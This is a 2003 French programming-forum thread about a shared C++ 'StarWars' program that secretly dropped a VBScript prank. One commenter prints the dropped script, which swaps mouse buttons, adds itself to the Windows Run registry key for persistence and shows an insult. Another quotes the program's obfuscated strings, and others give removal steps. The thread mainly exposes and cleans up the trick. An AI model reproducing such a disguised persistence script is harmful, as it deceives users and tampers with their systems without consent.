STARWARS

dmothes Messages postés 56 Date d'inscription mardi 17 décembre 2002 Statut Membre Dernière intervention 11 novembre 2005 - 12 nov. 2003 à 07:56
cs_AmK Messages postés 368 Date d'inscription jeudi 13 mars 2003 Statut Membre Dernière intervention 27 janvier 2010 - 15 nov. 2003 à 11:53
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.

https://codes-sources.commentcamarche.net/source/17876-starwars

cs_AmK Messages postés 368 Date d'inscription jeudi 13 mars 2003 Statut Membre Dernière intervention 27 janvier 2010 1
15 nov. 2003 à 11:53
muad lib contrairement à ce que tu dis , je ne me suis pas fait avoir ....
c'est juste que j'aime pas les petites merdes comme toi , tu n'as qu'a voir en bas de la page d'accueil de mon site le petit barratin en bas de la page d'accueil ! (http://www.amk-project.fr.st)
Funto66 Messages postés 1267 Date d'inscription mercredi 1 janvier 2003 Statut Membre Dernière intervention 28 février 2007 4
15 nov. 2003 à 10:33
"Quand au booléen manquant tu devrais savoir qu'un bool est par défaut à true "
Pour vérifier ça, j'ai fait un petit script VBScript :
Dim i
If i=True Then
MsgBox "True"
Else
MsgBox "False"
End If

Eh bien, sans faillir une seule fois, il m'affiche "False" dans la boîte de dialogue, alors que je l'ai exécuté plein de fois...
Bon, sinon je retire mon accusation, la source est peut-être de toi, mais ça m'étonne que tu programmes en anglais (et avec des noms qui n'ont rien à voir avec ce que fait le programme, normal vu que le but est de cacher qu'il s'agit d'un "code malicieux", et encore pas trop méchant).
cs_Kirua Messages postés 3006 Date d'inscription dimanche 14 avril 2002 Statut Membre Dernière intervention 31 décembre 2008
14 nov. 2003 à 19:09
ah ok, c'est déclaré dans le prototype de la fonction avec bool param=true

comrpis ;-)
cs_djl Messages postés 3011 Date d'inscription jeudi 26 septembre 2002 Statut Membre Dernière intervention 27 novembre 2004 7
14 nov. 2003 à 18:45
Kirua ==> oui, quand tu declare une variable tu ne fait que reserver un espace, si tu affiche son contenu tu recupere n'importe quoi, essay avec un char[30] par ex!

sinon pour l'histoire du bool qui est par defaut a true, cela concerne le paramettre de SwapMouseButton qui pe etre appeler sans
GuyTina Messages postés 11 Date d'inscription mercredi 22 octobre 2003 Statut Membre Dernière intervention 27 septembre 2004
14 nov. 2003 à 18:11
Que dit le manuel!!!
Les variables logiques,qui peuvent prendre deux valeurs uniquement, true et false,sont de type bool.Les variables de type bool espriment les résultats de tests pouvant etre vrais ou faux,par exemple si une valeur est égale à une autre.Naturellement,vous pouvez également les initier lors de leur déclaration.
cordialement
cs_Kirua Messages postés 3006 Date d'inscription dimanche 14 avril 2002 Statut Membre Dernière intervention 31 décembre 2008
14 nov. 2003 à 16:59
AAAAAAAAAAAAARG et avec 10 000 booléens j'ai 9991 false et 9 true !!!!!! faut VRAIMENT ls initialiser dès le départ O_o
cs_Kirua Messages postés 3006 Date d'inscription dimanche 14 avril 2002 Statut Membre Dernière intervention 31 décembre 2008
14 nov. 2003 à 16:57
ah ben quand je compile ça:

#include

using namespace std;

int main(int argc, char *argv[])
{
bool *b = new bool[600];
cout << boolalpha;

int nbf = 0; //nombre de booléens à false
int nbt = 0; //et à true

for(int i = 0; i < 600; i++)
{
if(b[i]) nbt++;
else nbf++;
}

delete [] b;

cout << "false: " << nbf << endl << "true: " << nbt << endl;

system("PAUSE");
return 0;
}


j'obtiens une GROSSE majorité de true!! 584 pour 14 false, je suis réellement étonné !!
tu avais donc très probablement raison, malgré le code précédent qui retournait bien false chez moi. en fait, je pense surtout que le "constructeur" de bool n'affecte pas de valeur par défaut, et donc la valeur dépend de ce qui était écrit à l'adresse mémoire utilisée.
cs_Kirua Messages postés 3006 Date d'inscription dimanche 14 avril 2002 Statut Membre Dernière intervention 31 décembre 2008
14 nov. 2003 à 16:38
#include

using namespace std;

int main(int argc, char *argv[])
{
bool b;
cout << boolalpha << b << endl;
system("PAUSE");
return 0;
}


et que lit-on ? false, donc un booléen est par défaut à false, comme je le pensais, à moins que ce soit différent en VBScript ?
cs_muad-dib Messages postés 103 Date d'inscription lundi 9 avril 2001 Statut Membre Dernière intervention 16 juillet 2008
14 nov. 2003 à 14:27
Primo j'appelle pas ça un virus ... secundo si le source n'est pas de moi il est de qui alors ?

Au cas où tu ne l'aurais pas vu wsc est un objet de type WScript.Shell, ce qui simule démarrer > exécuter
Tu peux t'amuser à faire touche windows + r et taper rundll32 user32,SwapMouseButton tu verras que ça marche..rundll32 permet d'utiliser des fonctions contenues dans les dlls windows, en l'occurrence user32.dll
Quand au booléen manquant tu devrais savoir qu'un bool est par défaut à true
Funto66 Messages postés 1267 Date d'inscription mercredi 1 janvier 2003 Statut Membre Dernière intervention 28 février 2007 4
14 nov. 2003 à 10:55
Hmmm, encore un "virus" sur CppFrance, qui n'en est pas un vrai encore une fois (pas de propagation).
Ceci dit, même si je suis presque sûr que la source n'est pas de toi muad-dib, j'ai quand même appris que c'était possible d'appeler une fonction de l'API Win32 à partir de VBScript ( wsc.run("rundll32 user32,SwapMouseButton") ), mais je suis allé sur la MSDN et je vois :
"The SwapMouseButton function reverses or restores the meaning of the left and right mouse buttons.

BOOL SwapMouseButton(
BOOL fSwap // reverse or restore buttons
);
"
donc je me demande bien où est-ce que dans le script le paramètre fSwap est passé?
cs_Kirua Messages postés 3006 Date d'inscription dimanche 14 avril 2002 Statut Membre Dernière intervention 31 décembre 2008
14 nov. 2003 à 07:56
dis donc mon garçon, tu lui répliques qu'il a accepté la charte de bonne conduite, et toi, tu as bien accepté celle inhérente à tout qui poste un code source !! et il est bien mis: pas de virus. ahlala mon garçon, c'est bien beau l'argumentation, mais toi, t'es en dessous de tout.
cs_muad-dib Messages postés 103 Date d'inscription lundi 9 avril 2001 Statut Membre Dernière intervention 16 juillet 2008
14 nov. 2003 à 02:52
"la petite merde qui a programmé ce truc" ? lol je crois avoir tout de même contribué aux aspirations de ce site qui sont l'entraide et l'apprentissage en commun ... Pour simple exemple, GuyTina ne connaissait pas cette partie du registre de windows, il peut donc m'en être reconnaissant...
Mon petit AMK il ne faut dénigrer aucun des sources déposés sur ce site, tu as pourtant approuvé la charte de bonne conduite en ajoutant un commentaire, tu dois rester calme et courtois... rétracte un petit peu ton énervement
du fait que ce source t'ait vérolé contrairement à ce que tu dis (car oui tu as du te faire avoir toi aussi, tu n'emploierais pas de termes aussi chartiers sinon) et tire profit des bienfaits de la communauté ! vive la synergie ! vive le C !
cs_Kirua Messages postés 3006 Date d'inscription dimanche 14 avril 2002 Statut Membre Dernière intervention 31 décembre 2008
13 nov. 2003 à 17:28
en tt cas, il a foiré son coup ^^ pas que des idiots ici, bien joué les gars. (et les filles, je suppose qu'il y en a)
cs_AmK Messages postés 368 Date d'inscription jeudi 13 mars 2003 Statut Membre Dernière intervention 27 janvier 2010 1
13 nov. 2003 à 17:02
GiyTina ça peut arriver à tout le monde , meme le plus experimenté des programmeurs pourrait tomber dans ce piège !!! huh moi j'ai pas compilé parceque le code n'a rien avoir le titre , il est certain qu'il s'agissait d'un virus !!!
quant a la petite merde qui a programmé ce truc qu'il aille au diable !
cs_djl Messages postés 3011 Date d'inscription jeudi 26 septembre 2002 Statut Membre Dernière intervention 27 novembre 2004 7
13 nov. 2003 à 14:08
de rien,
et puis ca peu arriver a tout le monde!
moi ci ca me la pas fait, c'est juste parce que j'avais la fleme de le compiler!
en tout cas, c'est la premiere fois que je vois ce genre de petite blague sur le site, ca serait donc dommage de le quitter pour ca
GuyTina Messages postés 11 Date d'inscription mercredi 22 octobre 2003 Statut Membre Dernière intervention 27 septembre 2004
13 nov. 2003 à 13:46
Merci beaucoup "djl".
Grace à ton dépannage je n'ai plus la boite et en plus j'ai appris quelque chose :les fichier Windows.
Merci encore pour ce tut sur Windows car j'étais décidé à quitter le site,croyant avoir à faire à une bande de chenapants.
Je reste sur le site et je continue à charger tous les programmes car ils me donnent des exemples pour mon aprentissage du c++.
Tres Cordialement.
cs_djl Messages postés 3011 Date d'inscription jeudi 26 septembre 2002 Statut Membre Dernière intervention 27 novembre 2004 7
13 nov. 2003 à 13:26
salut,
le vbs s'est ajouter au demarrage de ton ordi, alors vu que tu l'avirer, a chaque demarrage ton ordi le cherche
pour le virer, fait demarrer==>executer tape regedit, ensuite, dans l'arborescence tu va dans
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
et tu vire la cle "alien"
GuyTina Messages postés 11 Date d'inscription mercredi 22 octobre 2003 Statut Membre Dernière intervention 27 septembre 2004
13 nov. 2003 à 13:16
Rebonjour.
Il est tres clair que je me suis fait avoir ,je n'ai pas regardé le code ,j'ai voulu voir directement le résultat.Apres 13 ans de programmation je n'ai pas eu les bons reflexes et je pense qu'il faut en tirer une bonne leçon pour l'avenir.Un code viral aurait été placé dans le programme!!!!!!!!!
J'attends de la part du petit farceur qu'il reponde à nos questions pertinantes...
GuyTina Messages postés 11 Date d'inscription mercredi 22 octobre 2003 Statut Membre Dernière intervention 27 septembre 2004
13 nov. 2003 à 13:04
Bonjour tout le monde.
J'ai supprimé le fichier vb mais j'ai toujours une fenetre qui me demande au demarrage de l'ordi "Imposiible de trouver...."
Comment SVP supprimer cette fenetre avant que je vienne botter les fesses du petit farceur?
Merci D'avance.
cs_djl Messages postés 3011 Date d'inscription jeudi 26 septembre 2002 Statut Membre Dernière intervention 27 novembre 2004 7
13 nov. 2003 à 12:55
aparement il camoufle ses chaines par un simple codage romain, voir *GeekInside
cs_AmK Messages postés 368 Date d'inscription jeudi 13 mars 2003 Statut Membre Dernière intervention 27 janvier 2010 1
13 nov. 2003 à 12:22
Quelle honte !!!
t niker hahahahahahahahaha, et aprés t'es content ? t'as fait quelque chose de bien ???
arf j'ai envie de vomir ...
Arkain Messages postés 31 Date d'inscription jeudi 28 août 2003 Statut Membre Dernière intervention 13 décembre 2003
13 nov. 2003 à 02:32
tssssssssssssssssk...Ce gars la est nul...on voit des dizaines de fois que ce truc est pas un truc a faire... LA prochaine fois camoufle dans des fonctions - voyantes.
Arkain Messages postés 31 Date d'inscription jeudi 28 août 2003 Statut Membre Dernière intervention 13 décembre 2003
13 nov. 2003 à 02:22
Pfffffffffff....Il utilise aucun moteur graphique, donc ce n'est pas un truc dans les étoiles.
ymca2003 Messages postés 2070 Date d'inscription mardi 22 avril 2003 Statut Membre Dernière intervention 3 juillet 2006 7
12 nov. 2003 à 23:25
En effet, c'est très très louche comme code.
cs_arachnid Messages postés 12 Date d'inscription mercredi 28 mai 2003 Statut Membre Dernière intervention 18 octobre 2004
12 nov. 2003 à 21:20
Ya un truc que G pas beucoup aprecié kan G compilé la source c'est Norton qui me di qu'il y a un "malicious script detected" sur le fichier c:alien.vbs. Alors je V voir le fichier et je l'ouvre avec le bloc-note et regardé le contenu :

Dim wsc
On Error Resume Next
Set wsc=CreateObject("WScript.Shell")
wsc.run("rundll32 user32,SwapMouseButton")
call wsc.RegWrite("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunAlien","wscript c:Alien.vbs")
MsgBox("T niker")

regadez la derniere ligne......... Et lorsque l'on regade la source et le nom du fichier on voi bien que ca a rien avoir avec star wars.
cs_JediMaster Messages postés 91 Date d'inscription lundi 19 mai 2003 Statut Membre Dernière intervention 31 août 2004
12 nov. 2003 à 14:07
ta source elle fait un peu peur du style:
ca char *alienName=GeekInside("c;^_Eqolv7?m");
ou encore ca const char *miam[6]=
{
"Djo#{xi",
"Oo"Hvwuy([o~zs/^vS?",
"Sfv#{xiDK{ol?r]qzvu?<7mj{<f<Kq?.ZEM",
"wte1vzt/*{ypyzBB1??y?IIDl'|Oj""?d~~T..JR",
"cbno$|yj6[orcwfu94[_Zovdh]\h|k`cikqiyvn}l~rS|T"?¢§?o«"£© ¬µ²o"·µ¶ªZ»z®OYµOO«¢ÆÀ¯.Á¿OÆ{?}ÓÐÁÑÉÑÖfÇYÂsÔÒÏÙsãÐâ's",
"MtiEs}.)\)xtwr?19"
};
en plus je vois pas quand t'ecris a l'ecran
ymca2003 Messages postés 2070 Date d'inscription mardi 22 avril 2003 Statut Membre Dernière intervention 3 juillet 2006 7
12 nov. 2003 à 12:06
Pourquoi tu met les déclarations de fonctions au milieu des fonctions et pas au début du fichier ?
Sinon, les caractères chelous c'est normal ?
dmothes Messages postés 56 Date d'inscription mardi 17 décembre 2002 Statut Membre Dernière intervention 11 novembre 2005
12 nov. 2003 à 07:56
tu peux pas mettre un screenshot?
Rejoignez-nous